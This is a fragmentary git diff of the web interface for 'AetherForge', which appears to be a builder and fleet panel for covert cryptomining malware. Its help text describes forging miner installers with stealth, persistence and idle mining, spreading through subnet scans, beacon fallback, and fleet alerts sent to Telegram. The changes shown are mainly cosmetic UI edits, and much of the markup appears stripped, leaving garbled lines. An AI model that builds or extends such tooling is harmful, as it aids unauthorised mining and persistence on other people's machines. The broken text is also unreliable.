Ops capability; a prior subnet scan or ARP run gives it more targets.', @@ -197,4 +211,6 @@ export const UI_HELP: Record = { 'Push fleet events to Telegram, a custom webhook endpoint, or email (SMTP). Fill bot token + chat ID or webhook URL, choose which events to forward, save Calibration, then send a test message to confirm delivery.', set_webhook: 'HTTP POST endpoint that receives JSON for every enabled fleet event: { event, title, message }. Use for Slack incoming webhooks, n8n automation, custom dashboards, or any HTTP trigger.', + ui_color_scheme: + 'AetherForge is steampunk dark-first. When your OS uses light mode, panels soften slightly via prefers-color-scheme — neon brass/cyan tokens stay the same. No separate theme toggle yet.', }; diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index 42466ac..11676b1 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -78,6 +78,7 @@ import { } from '../help/forgeMissionWizard'; import { LOTL_ONION_TIER_DOCS } from '../help/lotlOnionTiers'; import { spreadTechniqueDocUrl } from '../help/spreadTechniques'; +import SacredPageHeader from '../components/Visual/sacredGeometry/SacredPageHeader'; import './BuilderPage.css'; function forgePageClass(operationMode: OperationModeId, themeOverride: ReturnType): string { @@ -1048,51 +1049,52 @@ export default function BuilderPage() { onChange={handleFileSelected} /> -
-
-

INSTALLER FORGE

-

Forge

-

- {simpleMode - ? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.' - : 'Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.'} -

-
-
-
- + +
+ - + + +
- - - - - - -
+ } + /> {/* Blueprint status message */} {blueprintMsg && ( @@ -1680,7 +1682,7 @@ export default function BuilderPage() { {form.https_beacon_fallback !== false && (
- +

{deliverableSummary(deliverableType)} @@ -2040,6 +2043,7 @@ export default function BuilderPage() { +

diff --git a/server/web/src/pages/EmberwakePage.tsx b/server/web/src/pages/EmberwakePage.tsx index 8ac8738..aa7f490 100644 --- a/server/web/src/pages/EmberwakePage.tsx +++ b/server/web/src/pages/EmberwakePage.tsx @@ -381,6 +381,9 @@ export default function EmberwakePage() { /> ) : (
+

+ Stats table +

diff --git a/server/web/src/pages/MissionDeckPage.tsx b/server/web/src/pages/MissionDeckPage.tsx index 7be100d..fd7fe25 100644 --- a/server/web/src/pages/MissionDeckPage.tsx +++ b/server/web/src/pages/MissionDeckPage.tsx @@ -432,7 +432,9 @@ export default function MissionDeckPage() {
-

2 — Your loadout

+

+ 2 — Your loadout +

{selectedChipDef.label}

{selectedChipDef.blurb}

@@ -469,7 +471,10 @@ export default function MissionDeckPage() {

{!canLaunch && !missionBusy && ( -

Fix preflight errors in your loadout before equipping.

+

+ Fix preflight errors in your loadout before equipping.{' '} + +

)} {error &&

{error}

}
@@ -545,7 +550,9 @@ export default function MissionDeckPage() {

Campaign & identity

- +
- +
- +
- +